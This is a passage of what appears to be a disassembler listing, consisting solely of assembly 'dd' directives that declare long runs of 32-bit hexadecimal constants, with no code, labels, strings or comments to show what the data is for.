		dd 1472E8h, 7101EEFh, 0F7F4EA8Bh, 0B8009CEEh, 0C3F677BDh
		dd 38A3CE2Fh, 0A0CF9326h, 32755D2Ah, 764F4E0Fh,	0F8DA20E5h
		dd 706624F1h, 0D83307C2h, 10EE28B9h, 46E7D161h,	1B076C0Eh
		dd 0FD42CF72h, 7E5FCB40h, 40BD79Eh, 0EEEBC90Fh,	471889F0h
		dd 1CCAC0BCh, 3100F4F7h, 0E7A1D246h, 7EDB966Ch,	6FE600DFh
		dd 27645CBFh, 71003680h, 20EFFA90h, 420209h, 4318B9ADh
		dd 0DBDF17FFh, 3BF49200h, 21985113h, 5C03128Fh,	0C3841EF5h
		dd 0FB414891h, 7512DB80h, 4C933F0Fh, 0BD22E025h, 7CC957h
		dd 0F496E18Fh, 0AD282706h, 771A801h, 0DE94802Dh, 7CECDE8h
		dd 0B90276E4h, 0EE45E047h, 81010ED5h, 0C6F84ABCh, 19E4490Bh
		dd 94E50082h, 7AFDCA8Ah, 0FC001DBAh, 5E314D5Dh,	60560F54h
		dd 145A0A72h, 840EEA21h, 0A01A559Ah, 768DA261h,	1C4F0065h
		dd 0DB71B3EEh, 5E50747Fh, 6B0185F4h, 3ADE1BB7h,	1FDC4F14h
		dd 0C7B00017h, 2BB306A6h, 0AA076656h, 2A0F3A0Eh, 0B2C3D433h
		dd 0AF384071h, 445C00E7h, 0E115BEEEh, 67038817h, 5A9B99B6h
		dd 1A579871h, 0A777001Ch, 0C8027EACh, 2900B3E2h, 0F6B04ABEh
		dd 48B23194h, 0AE0047D6h, 6923CC8Fh, 3B783EACh,	0C53B501h
		dd 6E8297C0h, 1D379C20h, 40753878h, 0A79E0AEFh,	0DB00B293h
		dd 4331442h, 0A1D890h, 5DD3F15Fh, 9D2AF676h, 14DDD200h
		dd 0AE433517h, 14D54C4Ch, 7528902h, 5E40C2D1h, 360086F2h
		dd 0DCFD7924h, 7F4A75h,	7447CC5Dh, 709E207Ch, 0C5D7E300h
		dd 4CFC568Bh, 0CE2D00A8h, 0B23D6CC9h, 740035AAh, 0F30312E8h
		dd 139B128h, 192A1C55h,	0E842272Fh, 1A3FD03Eh, 0D19C0220h
		dd 60E0C0B4h, 713823Bh,	1671B985h, 0C160CFA9h, 0DE9DEEF8h
		dd 0F68C1138h, 0AF6A9A00h, 18CD475Eh, 0A64A1D3Eh, 853480E8h
		dd 909D2546h, 21019CF8h, 4144CE31h, 6CC2EC0h, 9FCAA0A4h
		dd 0E150038h, 33BCF342h, 721DD5DEh, 0FCC1040Fh,	0EBCB9399h
		dd 0F5C3FCh, 27AE0545h,	8C3EFF4Eh, 18BD7030h, 7621068h
		dd 8F64FBC4h, 660DB063h, 429095B8h, 331EEE77h, 0AD807B99h
		dd 0A480C177h, 0FAE91F23h, 69E38FB8h, 0E8BE56A0h, 5200364Ah
		dd 0A9EB4360h, 3BC1978h, 0C0493A3h, 0D2B00214h,	28008F75h
		dd 19F555A7h, 0DDDA7Dh,	0E7F2B51Dh, 0C3CBE19Ch,	21372207h
		dd 0F0D044E3h, 91B8AAh
		dd 8F6BBFDEh, 730A0E9Dh, 7D8D870Fh, 0EE71200Bh,	20DEB2Fh
		dd 0B027B157h, 9C80AE58h, 2B6D365h, 75E64318h, 0ED5434h
		dd 0AF214D0Dh, 0DE6BF888h, 1AE97B00h, 0C8CF4A33h, 1379C4h
		dd 0DCB0A08Dh, 0D86CF619h, 21BCE600h, 142F0542h, 316424D2h
		dd 5D800008h, 30997A79h, 9A894500h, 13C039DEh, 0C27E00BDh
		dd 4306DBCBh, 0A3FAF910h, 93894D0Dh, 0BB30202Ch, 867718C4h
		dd 85C51038h, 92A1750Eh, 2A0737D8h, 0D2B07802h,	2337DEAh
		dd 12A072F0h, 17E304ADh, 0F47861A9h, 7F00401Bh,	7168D0B9h
		dd 459F826h, 4E190AAAh,	2892C05Ch, 6A02EE7Dh, 34C0BE58h
		dd 0FAA848A6h, 0D01F0046h, 32E1D32h, 5071CD7h, 10B336E3h
		dd 0C8740049h, 27B834h,	8C4B3A2Bh, 353308B2h, 5C01F724h
		dd 723E6100h, 5BBDF5h, 6AEFC1F1h, 59806532h, 0BED83D00h
		dd 0EEDFA41h, 1B390971h, 0A88069E6h, 5CFC2A70h,	63952500h
		dd 904D3633h, 7EA7504h,	576CE2F5h, 4620E0FAh, 0F7033B10h
		dd 73118B97h, 4AD1D0C2h, 8A507A9h, 83797857h, 7A88C49Ch
		dd 0DC0110BBh, 1274232Eh, 98E0F7EDh, 0EE4D0016h, 4FA8BD9Fh
		dd 8239861Eh, 0A2220163h, 0DDF8958Ch, 7B00370h,	31E0EDCEh
		dd 0E93E80B9h, 1BF0FC47h, 7EF44Ch, 97FADDD0h, 69D6F8h
		dd 3017F2DBh, 17ADA66h,	0FD00B4FAh, 0DCF89684h,	1C6732Bh
		dd 7772803Dh, 80D85D75h, 4BB8F690h, 62C209h, 3F4C42A6h
		dd 8B3B2FAAh, 6408F900h, 732A3DB9h, 121A0028h, 6BE41E8h
		dd 8E00C30Dh, 63156E80h, 78A965Ah, 0F693ABB7h, 58DC1C6Fh
		dd 3523C100h, 7D987F0Bh, 0FB7A2Ch, 0D553DF79h, 4CBD0567h
		dd 0FA006D73h, 0AA9B2E11h, 783F22h, 577A8E08h, 0EE310F04h
		dd 28EF7F3Dh, 0F82EC0DEh, 0B0009DF5h, 6BAB873Dh, 42BE0037h
		dd 0DC832E03h, 6DFE6C23h, 0C80DAE03h, 0A07A54F6h, 30928096h
		dd 176AA19Dh, 0FB1F5E95h, 0D8E9A80Bh, 87827D00h, 3168CCh
		dd 0A65EEE37h, 88FF2F6Eh, 0DD921701h, 18696744h, 0C751E940h
		dd 0F5BE0079h, 0DF031CC6h, 4500A5C8h, 0BCA2D5Dh, 34559Eh
		dd 1DB24C3Ah, 57D1B998h, 621F3805h, 0AAC0B3CDh,	1E7C4Bh
		dd 0BD49A6D7h, 0BCFB1B4Ah, 41D5824h, 801AC700h,	0B9E767h
		dd 0EB37020Fh, 39ECFB27h, 0BC46A900h, 0EF219AC8h, 956500CFh
		dd 9FB8F902h, 0DA745790h, 64308800h, 1BC75DD9h,	0D3D00537h
		dd 80EF2AB1h, 4D813F66h, 742CA91Eh, 0BF3E6E44h,	0F89F6483h
		dd 56A0D6h, 0F8E44BACh,	8B2AF183h, 7109D100h, 3283205h
		dd 0FB750061h, 78C3D75Ah, 0FC005BEDh, 0E9191363h, 0ECD017C4h
		dd 5C1B0021h, 96912C9Dh, 0EC00C5A5h, 387BAFADh,	703579BEh
		dd 0F8C92820h, 994800F7h, 0B0305FFh, 66015241h,	23894FA7h
		dd 57F4816Ah, 773001A1h, 985D90D3h, 16C5FC09h, 3417BAEEh
		dd 16001FCBh, 9AD337C4h, 1CC9048h, 0E8FBB2B4h, 215A211Bh
		dd 0DC60E2DCh, 16EE0ECFh, 7B14851Fh, 744E694Ch,	0F0020465h
		dd 807EF503h, 85A28190h, 2488E700h, 3CA9CD59h, 0E6770095h
		dd 4580ACEEh, 0F800684Ch, 8C55F9FAh, 7F53302h, 0AE29A137h
		dd 7C178070h, 6700B0BEh, 1C8F10EAh, 0F2C639E1h,	0B26939CFh
		dd 82E99F00h, 0A289432Fh, 0F4AB8809h, 8D4C0005h, 387E37C7h
		dd 0F7035659h, 75C383F0h, 9B06C870h, 33486D3Bh,	7A921F6Ah
		dd 7798407Bh, 6243E189h, 9CEBB07h, 4BF03560h, 16D668A2h
		dd 528C9Ch, 3C1490B2h, 5600D078h, 5812E60Ch, 0DC3710h
		dd 23989EAFh, 20F0D517h, 1151E40Fh, 8E3DE0F2h, 0EAE1FB8Fh
		dd 0AA89001Fh, 5C47194Ch, 0B21EB397h, 0E51453E2h, 0C22600A4h
		dd 0B7FA7D50h, 0F4E6005Dh, 0FC625127h, 9498BF34h, 0B33B4A00h
		dd 9711E298h, 0D921478h, 6A008C58h, 0CD7B9A4Dh,	173C22A2h
		dd 2EF88712h, 18C00FDFh, 2D77Dh, 0D84FE7Bh, 50AEB9A4h
		dd 9327C100h, 77228FE8h, 32BE0E0Fh, 68807E8Eh, 84452660h
		dd 3C14E1Fh, 42D00C0Ch,	0AD1303BFh, 820BA13Ah, 990098C6h
		dd 0FDF029AEh, 58B3572Dh, 0AD00B3C0h, 0A2EE3BE3h, 1F0065A6h
		dd 0C1C43926h, 7EB0A70Dh, 1CAD2CF8h, 0C21E3Dh, 97F0919Ah
		dd 11032998h, 38B8871Eh, 0F86CE809h, 3EA00067h,	0B92B4D82h
		dd 3B0019C2h, 74F18EE5h, 5F79D3h, 2439F52Ch, 5EE425E3h
		dd 0AC1D4900h, 66D4D25Dh, 4026005Bh, 0B39597F1h, 8C00D847h
		dd 3583AAAFh, 0FE532144h, 0D9FF00A3h, 9F774FEAh, 5E00814Dh
		dd 35C557EEh, 0B61DBB6h, 66F7601Bh, 0C3697A80h,	45057ADFh
		dd 0C625936h, 0A1009884h, 962EF1BDh, 4CC374F3h,	0DD00148Ch
		dd 8E9C4D87h, 0B475BAB8h, 0AA2CCC00h, 1DC70430h, 32911C28h
		dd 0B9C647FFh, 108DF079h, 90003E22h, 0E9F95E9Ah, 0EA6A7602h
		dd 8B310142h, 5FE3630h,	0B46D3008h, 74974700h, 0D80B2922h
		dd 0E4907Ch, 0BF8DB86Bh, 69832348h, 0A9AECF1Eh,	9596FEC0h
		dd 7D70E2h, 0A2FF7A5Ch,	0E1722C02h, 15781B77h, 0F6EEA100h
		dd 0F18B1A41h, 0EB74040Fh, 0C053016Dh, 0A558B781h, 82656300h
		dd 3B6BAF1Dh, 0DC0C5834h, 0EFDC1Dh, 1F2DBEB5h, 0A31D42DDh
		dd 0E98EAB7Dh, 9ABB00BAh, 176AE1E4h, 0EDE4AB0h,	1F4FE61Bh
		dd 0A6F77180h, 2E00EDE0h, 0D6DB2131h, 0A94390h,	6A7DD47Ah
		dd 7F2809C6h, 5B128D0Fh, 0F85A87C1h, 5918A32Bh,	0EFD7B84Fh
		dd 0CCA107A0h, 5BC1BE95h, 7F711000h, 1CE041B7h,	0F42C0100h
		dd 996857C8h, 0E3FA1D77h, 0D5968189h, 0F864C986h, 6C0076C5h
		dd 0FD5CE805h, 0BE046Ah, 30829AA6h, 78688DA8h, 3A461724h
		dd 2C41BF1Dh, 0F0B66723h, 5800FC22h, 0CFF7F656h, 4100773Eh
		dd 66534523h, 1DFA7Bh, 35B09CD0h, 0A6BF3D83h, 1C28CC58h
		dd 96C32807h, 984B179Fh, 0B96D11h, 2B89F8D3h, 9DD1B1F7h
		dd 75241FB8h, 9B015AA3h, 59490384h, 6D2520h, 5D10DE9Eh
		dd 2F29D6A5h, 8EB12200h, 78B09D96h, 0D57BACh, 9FC0A90Fh
		dd 362FD918h, 0AE0E7401h, 6CCECDD6h, 1391A864h,	44E9FC8Fh
		dd 0C07007A0h, 6FCBEE43h, 51C5D100h, 9524AE43h,	0B8324CBDh
		dd 9A1AF301h, 0D0398949h, 2D07A7BEh, 548A6FBCh,	284585E1h
		dd 9FD070h, 0DBC91503h,	8F969E19h, 182FFE12h, 0F2AFAF00h
		dd 0FE30B39h, 0D2400E5Dh, 0A7FD0400h, 2102D7E9h, 0B9DF0FA4h
		dd 60909228h, 0EF7B128h, 2E5E66EDh, 57E01BA0h, 5D00BF4Dh
		dd 6AF0FC15h, 3E8C7A3h,	3314EC7Fh, 79B0FF6Fh, 0B3006663h
		dd 8E344B78h, 0A415A3h,	21B5B8F0h, 1602F831h, 9D38EB00h
		dd 17CD4597h, 3A60947Dh, 0AE713380h, 809FF003h,	0A8EA4Ch
		dd 5274983Fh, 0E2A7B0BDh, 0DB6030F2h, 39712004h, 51EE3A00h
		dd 0DFFA9774h, 0CB9D00BAh, 0F17AD759h, 0A898045Bh, 3DE143Ah
		dd 1A6207C9h, 3971092Eh, 84074B88h, 0E5651E16h,	60142E0Ah
		dd 6934F008h, 7EDA00D5h, 9975F6B0h, 213B2F8Dh, 0D368214h
		dd 0C9596F96h, 52C4F134h, 0E38B00BCh, 50E7D564h, 0BFB0DA87h
		dd 85CAE800h, 9EC688CBh, 0BD0E07ECh, 253C171Fh,	0C5C4908Eh
		dd 4601162Fh, 0BEAAE565h, 0EED02A7Ch, 0B0D601DFh, 865023A6h
		dd 49C820F8h, 8B5F5D00h, 2BC34888h, 29460292h, 0A075AB55h
		dd 276F5C60h, 0ACA2A400h, 0E7B582E6h, 8E9B1E4Bh, 434E8336h
		dd 0C9F0C761h, 5E009587h, 5740C6C8h, 31D9F6Bh, 33E7D1F3h
		dd 43A814C5h, 2700D38Ah, 0ACA9353Ah, 0EC4E0BD9h, 9C1707BCh
		dd 0DD02ECh, 88EA9AF2h,	39647C0Eh, 23F08005h, 1D6B0FF3h
		dd 81031A27h, 314B696Fh
		dd 0A18A30ADh, 0B2509700h, 6110BFECh, 46E30003h, 0E8B07BC4h
		dd 181C11B8h, 509EC3D3h, 4E600F38h, 98918AFBh, 30D27B02h
		dd 0D68141C0h, 0A190BF0h, 0ACEB7E34h, 78E401C8h, 800CB4E7h
		dd 0BDEF2A31h, 769BCDAh, 96C4880Fh, 8FF043ECh, 0D0CC2000h
		dd 0EE0897BAh, 51460023h, 77C21204h, 14922F80h,	31B59800h
		dd 88525787h, 963700A0h, 27FB2011h, 8B4AA4F3h, 0F27A7000h
		dd 487D9C9Bh, 6A00B693h, 8BCA27FCh, 0DC12462Dh,	38408040h
		dd 24C5DA31h, 949E0307h, 36D74C2Eh, 4900CBA3h, 7D3F9DCAh
		dd 0F78FE23h, 0A5901044h, 0C2BB0205h, 8080CBAEh, 709CBFCFh
		dd 0DAA97967h, 4FEE4E10h, 597B07DDh, 437AD60Ch,	2014CA3Fh
		dd 0A6F508h, 0EF390F02h, 0E2E923h, 481D3E78h, 0C67E3362h
		dd 0EE753A00h, 3863E0D5h, 3CDE07D9h, 0B021BF91h, 24D00E8Fh
		dd 6700FA7Eh, 65A9100Dh, 0E285BA60h, 3F9F00A0h,	6FF94F84h
		dd 53E80536h, 64206D60h, 0FAAED7h, 0F3A842Ch, 0C014126h
		dd 1276D900h, 17ED88C8h, 3EFB003Fh, 0E686BA93h,	360299EFh
		dd 0A4B31B4Ah, 3862F069h, 73350B4Dh, 0C0C01F59h, 0DB897DEBh
		dd 0B43C3721h, 52AB801Dh, 9929A29Eh, 84D200EFh,	4D466086h
		dd 20A7305Dh, 2D1CAA81h, 6012A505h, 4E917495h, 2CF7A580h
		dd 5837817Bh, 62911888h, 5A87E93Dh, 90521985h, 796E3B46h
		dd 0DFCCAA02h, 0A0123364h, 61A1FB34h, 40F62147h, 1600E191h
		dd 0E299AED2h, 560B326Bh, 86D96589h, 371673Ch, 41109887h
		dd 4BC0C3CAh, 18C0D672h, 0E95B4065h, 469300FFh,	76EF8B7Eh
		dd 2B308883h, 357A20B7h, 73D312E9h, 0E5E403C1h,	0CC80F48Ah
		dd 820EE43Dh, 813401DCh, 0EC17D148h, 11E8BC8h, 70BD933Fh
		dd 87B8D9F0h, 4AE5AA48h, 2E636C50h, 0A1E00061h,	99E1FE17h
		dd 1950698Ah, 23195EECh, 37F8AA54h, 2D10CDCh, 496CFB9Eh
		dd 88A82133h, 71C42190h, 0F4581857h, 724A00E3h,	0E97A0D87h
		dd 95546D0Fh, 34E8AE84h, 68C7053h, 92825EA2h, 8C885206h
		dd 7D072C22h, 0F623EA74h, 62DD270h, 0FE790015h,	67F94149h
		dd 0CD2AC7CBh, 2B0DC063h, 91776DCCh, 322C5E0h, 276A16F7h
		dd 2F911E54h, 806CD153h, 9309421h, 1CF5814Ch, 721D0h, 27577F3Dh
		dd 43008C37h, 2A729D52h, 50E223CCh, 4DC2C8Ah, 17554CF7h
		dd 6F513119h, 4623600h,	0A936007h, 3CA0B79Bh, 0E22B65h
		dd 0F56476D5h, 8685E3A0h, 70FFDA00h, 6179DC95h,	0B3401222h
		dd 234C2FDEh, 0A9700053h, 0AA8F8D6Eh, 0C4437814h, 5A6000A0h
		dd 55ECA3BBh, 236B0761h, 4356693Dh, 2007A6DFh, 0A5A343B9h
		dd 343FCAA1h, 0EA47D9DCh, 8B3D300Fh, 8C062C60h,	0E8D2AB00h
		dd 0F1DC9FC1h, 0F9D355Dh, 0A140821h, 68A1FEC0h,	53E2140h
		dd 32BCFA95h, 852EB0BBh, 98006E87h, 1AB0211Ch, 0CBAD0482h
		dd 90128A19h, 41060900h, 2687B400h, 0E21FB9ACh,	212C01DBh
		dd 9E8593D8h, 0BAC98012h, 1470B3Eh, 91C400D4h, 3B26882Fh
		dd 0D77BCE87h, 4C0DC3F0h, 0B93E0F0Bh, 456EC280h, 0D19E448Eh
		dd 0B8D3F512h, 76604C40h, 0EDD5DFh, 4AD18A6h, 6786F4A7h
		dd 285088h, 0D566B37Eh,	1B97F0D9h, 0D7E25D00h, 1C5F7581h
		dd 48A04853h, 25017423h, 3F4D13F7h, 23892018h, 4B09F0h
		dd 294263C1h, 79245B2Bh, 45E62500h, 22990CA7h, 0D7F83073h
		dd 2FCCF730h, 4C623D28h, 4DA4AB00h, 0D5E438BDh,	89DA1FAEh
		dd 5FBCC02Ah, 7B640B93h, 71CE6EEAh, 0A3A4206Bh,	24BCDF6Ch
		dd 64A45D2Dh, 0F737606Ah, 2F4D10A1h, 6149C453h,	9312501h
		dd 9063148h, 0B490D2C8h, 0F800A3D4h, 9189DCF2h,	3CF1DFF4h
		dd 860B1B4h, 3EAA3C92h,	10731024h, 0B59DB880h, 17ECDE24h
		dd 691B35h, 6AA9AB94h, 0D713B145h, 64180E50h, 65C3EB68h
		dd 958A95Eh, 0D8058FE9h, 28602067h, 4D10B8F7h, 3BCC5637h
		dd 3E002221h, 0B241A309h, 1B55AF0h, 0A9E06245h,	0EF3218A0h
		dd 0E3FBB6A0h, 64B7B426h, 186F0242h, 343EE960h,	407DC698h
		dd 0D2032FB8h, 8740F3E9h, 0BB579867h, 98CF2411h, 81D443D4h
		dd 6FF0289Bh, 7C07F7C8h, 0EB07549Fh, 2CD271A4h,	0E244652Bh
		dd 0ED18613Dh, 2343003Bh, 0BD82524Bh, 3512FA25h, 9C5EA03Dh
		dd 1F57F605h, 41B50891h, 0B2C69C50h, 9BA4076Eh,	805526A7h
		dd 7CA8CEB4h, 0DE4CDD90h, 65996160h, 0FC521087h, 0C0406D1Ch
		dd 667095DCh, 5DB7C907h, 2A10EB87h, 0C005B285h,	9E1C3729h
		dd 941ED141h, 0A512B3FFh, 90813470h, 23C00732h,	1094F0D5h
		dd 0C29CB2E4h, 7F78E160h, 62A8E03h, 0DE082B9h, 331A3E28h
		dd 0C740620Ch, 60524408h, 0F498CEh, 0C5BE7671h,	1D82CA6h
		dd 5650E274h, 0F004DF2h, 9B442F2Dh, 3BE89562h, 7878CC6h
		dd 2391C24Fh, 11009C1Dh, 0BF480674h, 0E652D83h,	640585A4h
		dd 4521518Ch, 0E71ED51Dh, 0C18D62C0h, 0CAC226h,	8139EBAh
		dd 0A1C4944Fh, 0DC906D3Bh, 19620014h, 0CA9C4D06h, 82F10DB9h
		dd 9F289210h, 66C05550h, 4421533h, 0EA9C0293h, 20C6E7B0h
		dd 76FD1C60h, 0ADD0F70Eh, 110092F9h, 8C3AC3Eh, 507B7A69h
		dd 94CB75h, 0E2FC3C90h,	0A180C126h, 334CD39h, 46ACB21Ah
		dd 0D003D8BBh, 2F14042Ch, 0FF09665Fh, 10D8A400h, 7E6E5B3h
		dd 81126750h, 0C02274D6h, 0A456BEA9h, 0C6329D00h, 16C702B3h
		dd 9E2005Fh, 0E1E9E58h,	0CB003CB4h, 0D1B6DE40h,	3241CA9h
		dd 0AD8B6769h, 0B2E870A0h, 0FC0062A6h, 0D8509295h, 5CE7B878h
		dd 88058931h, 99F023h, 8D556AD9h, 30033979h, 842276Fh
		dd 76D9086h, 7F9A03D5h,	7A820E34h, 60446FE8h, 0AA81B204h
		dd 6380C324h, 26B12E22h, 30D65Eh, 0C6FB754Fh, 0B301A245h
		dd 11EB72F9h, 0B9ED16CBh, 0D59E8180h, 3004A3ABh, 0AC1C5401h
		dd 5CD27A44h, 0A8E04183h, 0A201C2BDh, 5628CA35h, 9F16F90h
		dd 93F94080h, 330CFEBCh, 0B9D72A01h, 7D6A5775h,	3E635810h
		dd 9407F000h, 4381F79Bh, 84980018h, 19A1324Ch, 8132752h
		dd 7F0FD29Fh, 39DAC0ACh, 3625A9h, 5C86FEDEh, 0B66B679Dh
		dd 0E7C42200h, 0C9271040h, 92A305E9h, 41501D3Fh, 812C02A0h
		dd 7369D4CBh, 4000DAF6h, 479326E8h, 0F8CD07h, 0F4DFF9A7h
		dd 2A12A9E2h, 5C0077FAh, 8415DC7h, 9555F2h, 0F44D36D3h
		dd 5E5B1E79h, 0EE79E00h, 0A7B0FCA6h, 41D90E50h,	92E21A5Fh
		dd 0CCE04301h, 0C1C05786h, 8F795A44h, 4EDD0711h, 0C7059FDEh
		dd 0FBC7C03Bh, 0A4005090h, 1451A8EAh, 30392E6h,	72E993D1h
		dd 0F7909CCFh, 520075F0h, 2351398Fh, 0E42026h, 0C497FDF3h
		dd 751F3FDEh, 80A9893Eh, 6F184151h, 6CE53A2h, 15A79F27h
		dd 120040E5h, 0FFC65FF1h, 39DFD52Ah, 760035C2h,	0BA4964ABh
		dd 180038F9h, 0EA020E12h, 7A4CA79Ah, 80CC5469h,	49AE3A37h
		dd 7FFFA100h, 0B27A9628h, 0E7E839ECh, 2A740F00h, 3212276Bh
		dd 604390E8h, 5A961884h, 1B00D1D2h, 4B06FBF7h, 0E8FC2BFFh
		dd 4421CF9Eh, 4082CF8Eh, 0D5404FE0h, 8D0CF9E9h,	682742D3h
		dd 88FDFEE7h, 0D000A77h, 67C36B4Ch, 79BA3EBBh, 0B1BC1820h
		dd 477A50EAh, 8CD69700h, 0BBB7957Dh, 6A5C3A2Ch,	5008D22h
		dd 0A0F3D694h, 0B28907h, 2A218E5Dh, 0F9F2D064h,	4C3E9C05h
		dd 0D4C1B98Fh, 14D46677h, 2B460372h, 17950696h,	0CFA703D0h
		dd 98799130h, 3F8D3B3Fh, 0F5882Ah, 44B336D7h, 0E5C9912Bh
		dd 9B16B800h, 95B068F4h, 0CA0B05E6h, 38D2F84Ah,	0D846E320h
		dd 0E6FFA20Ch
		dd 0A77659E1h, 0F1B43152h, 20CDC65h, 6998E300h,	0E88329C4h
		dd 0AD5D009Eh, 0B7BA9626h, 731E3254h, 0AC9D69A8h, 7C595B00h
		dd 74979B21h, 7EDC0783h, 8052A954h, 9A0B79EAh, 20AC5A00h
		dd 3DDD2296h, 0CC16064Ah, 9878138Ah, 96DC9754h,	0C7D704A5h
		dd 671AD092h, 3C4866B1h, 791F0034h, 0F7E5A36h, 0AFAE0E85h
		dd 0C07DDD2Bh, 0D99739EDh, 281DBB6Fh, 29B1A11Ch, 0EF10B3F1h
		dd 558007CBh, 0EB298870h, 88AC3D88h, 0A1885F3Ah, 421F8972h
		dd 1482E928h, 5D2261CAh, 9DFC2271h, 0E0203524h,	0C9810872h
		dd 0A1843E08h, 2888AEBEh, 45949948h, 92F81164h,	3414ED28h
		dd 83795D12h, 2811A407h, 1922C630h, 0C03E0CF2h,	0C3908015h
		dd 0EEF29411h, 0B3920018h, 0DA9C0FF7h, 0E30026F8h, 454B340Ch
		dd 0AE2BDEh, 0E9376D46h, 193A5B69h, 3F9A7B00h, 7CF6C4BEh
		dd 0ECF6F7h, 2586020Fh,	7EB62359h, 54026673h, 1C04306Ch
		dd 61E07DF3h, 0BB00CBE0h, 0FB9ECD6Eh, 1B0C11h, 0BDDA14Ch
		dd 0EF72C5CEh, 0E500107Ah, 0D188BD37h, 0EA54C1B1h, 5A781Ch
		dd 145F3271h, 0A83DF85Ch, 2D1D5300h, 695B7391h,	0D63509F5h
		dd 18002347h, 0F69D86A6h, 5DC8D900h, 8F4F8B6Dh,	8E940F77h
		dd 0D200D5B2h, 985B7587h, 4B95141Fh, 61D46940h,	0C27AEDh
		dd 3B488856h, 0F8BFCE32h, 0CC738300h, 0BC05446h, 0D6550047h
		dd 0E74E141Fh, 0B47A9BEEh, 91008E75h, 523623B1h, 3B2B1E4Dh
		dd 0F300461Fh, 4FE5FB21h, 741DE129h, 23406003h,	0C433C24Dh
		dd 210E0F7h, 0E9AF283Eh, 5CC8A3B3h, 2E008212h, 303845BBh
		dd 890CD6h, 0A9EFAEFBh,	7B370EB2h, 84B88E00h, 1CA125Fh
		dd 0FBA00160h, 15F57830h, 1090E385h, 0B11C620Eh, 8F80A6AAh
		dd 8666C9D8h, 53BE0008h, 15038D14h, 0BA1C1D71h,	9D4F413Ch
		dd 0A1528066h, 160BD4Bh, 270C61AEh, 0D4741BE9h,	7C00367Eh
		dd 629ABACCh, 76D5EDAh,	59715B4Dh, 0D6D72088h, 9800F591h
		dd 0E9331F40h, 0CEDF92h, 528FA1E2h, 2F84EC2Eh, 1FF5CC00h
		dd 98FE9EE5h, 39A00061h, 81683711h, 8C0BC801h, 94AD3Fh
		dd 0B52CF984h, 0B2570E6Eh, 7C238BA3h, 0CDBBF451h, 84D886D3h
		dd 8100895Bh, 0E06B14EEh, 0E8558BBDh, 4970060h,	3496159Bh
		dd 1F000384h, 0E5C77BC2h, 0CC5BDEh, 61E4DCEBh, 0E6629B80h
		dd 803FD13Eh, 9058B181h, 0C0FF794Ah, 0AA4DE8F0h, 83E1D19Eh
		dd 0EEB58810h, 0F6D6E098h, 1C9F1235h, 0D9400095h, 10E2AEE4h
		dd 0CC113D03h, 0D0382229h, 0C58FA2h, 27169809h,	68C4BCEh
		dd 0C5BC7E2Eh, 2E4E151Eh, 8A4DC0A5h, 3EF25BC6h,	1680E4FAh
		dd 4BA3ABDDh, 9E00ED56h, 89C60B53h, 0AD62Bh, 0C99DA05Fh
		dd 0A83EB177h, 0D8AD4600h, 25D7898Fh, 3C950009h, 0BE943F27h
		dd 36023E78h, 93684C39h, 8076E022h, 58DB07D1h, 2073425Ah
		dd 0E785E9FDh, 2D001075h, 0F66A0DB0h, 82F2DBh, 25FB5786h
		dd 4BA9AA3Eh, 0B7691400h, 0B6ACE4D2h, 0DD58007Bh, 0F9293682h
		dd 0E978B290h, 0D4267300h, 60E22FE6h, 401604F5h, 0C0178031h
		dd 0ED4AFA04h, 0BA84FF03h, 0A01F66A6h, 487E1394h, 3C038495h
		dd 7BDAB04Bh, 0A020C398h, 0AC09AD60h, 752313Ah,	0A5C2C703h
		dd 0FB475381h, 0D13406D0h, 406B3009h, 542900C6h, 17610Eh
		dd 9A732EADh, 0F0AAE1C5h, 0AC2E400h, 117EFC97h,	4D9F0070h
		dd 0FB8FA9B3h, 5118CB7Ch, 8810B022h, 941700FAh,	0ECF15839h
		dd 0B200FFB9h, 0CFE12693h, 1E9E23EBh, 9D046D77h, 0CADCC3E7h
		dd 2E903450h, 60FF7215h, 37010F57h, 905BED3Dh, 40EED216h
		dd 8FA7FFh, 0BAD4E77Dh,	6439124Fh, 285B0B00h, 9A3FAEB4h
		dd 2E90E9h, 0D4AA61Fh, 0B0E820D9h, 53741007h, 7D006B69h
		dd 0BAA5B7h, 0C193AA23h, 49E88EFAh, 2DB3B51Ch, 54E4C700h
		dd 6E3AA5DFh, 2BC35252h, 72C8D211h, 504C8FF7h, 620008Ch
		dd 0F34DF524h, 0A705005Bh, 0B1974ABDh, 0B53BCDD9h, 0E4F000Ch
		dd 32EE69B6h, 347ED8h, 78232CDEh, 0FDAC5A99h, 95DC4000h
		dd 0FF9F8FA6h, 0E1B20758h, 0B05BC256h, 88A904A3h, 2CD34200h
		dd 12AB621h, 0EDD70950h, 0F8008FD6h, 6D579D61h,	0EC917F24h
		dd 0E984B307h, 0C5961980h, 811B3DDFh, 26AAFA00h, 1508768Ch
		dd 0CF362401h, 8303EFFFh, 0F473C080h, 0E3FAD714h, 5BE6DE74h
		dd 9A276412h, 88F4D020h, 77EE07DDh, 7057B572h, 0B8985E30h
		dd 4C600202h, 0DDD82066h, 0EC8B9B41h, 9C006D8Fh, 0B6CF57AFh
		dd 3AD0Ch, 72F60822h, 0E291AA4Fh, 1E045074h, 4A2FE10Eh
		dd 0DEC75891h, 0F1458840h, 599C072Bh, 8053E92Ch, 826B35Ch
		dd 27571800h, 0C7ACF3DEh, 0E00A0FF9h, 0F760829Eh, 0EB07EDF5h
		dd 0FDC38C00h, 5D190CE6h, 918500A5h, 0ECD1C06Dh, 73009880h
		dd 8A202F9Bh, 1F6BB3h, 0F03FE16Eh, 0CE565CEFh, 9283FA00h
		dd 5A2E1C98h, 514800D7h, 0F8A57F90h, 0A8004ACDh, 0A09B01EDh
		dd 1E2F4Ch, 0E7254F5Ah,	0D13E5D24h, 30D3383Ah, 97DC09DDh
		dd 6F25005Bh, 6C80553Dh, 0C9048A65h, 0A5AD62DBh, 0A35CCB80h
		dd 0E0F2D2h, 7D8DDAE4h,	1C620417h, 78400A1Eh, 0CBA0D500h
		dd 1AAA25h, 489A4C23h, 0EE790D16h, 0F0CC6903h, 800280C0h
		dd 6BAD52h, 42861AD7h, 0A8973F3Dh, 3C6C6C60h, 3FF0DC3Ah
		dd 0D38FAB48h, 49439D0Fh, 71C80328h, 0EF003474h, 57F6B693h
		dd 50C13h, 0DB0A99D7h, 5DDCBD1Ch, 51007A98h, 98CD2943h
		dd 0E470414Eh, 10C44C6Ah, 0B007F500h, 0CD9C94E1h, 7E9E4B00h
		dd 0B36C8CF9h, 6A7B07E0h, 404C7916h, 18FDD9D4h,	4ADB4200h
		dd 5B661777h, 701200EDh, 99392D06h, 36ECA1DFh, 80C8883Bh
		dd 953B8CF1h, 1D42A278h, 0D144AFh, 0C65CF577h, 0E1001E58h
		dd 1BC906F1h, 6CD08Eh, 4D85B175h, 37FA5966h, 0E5102202h
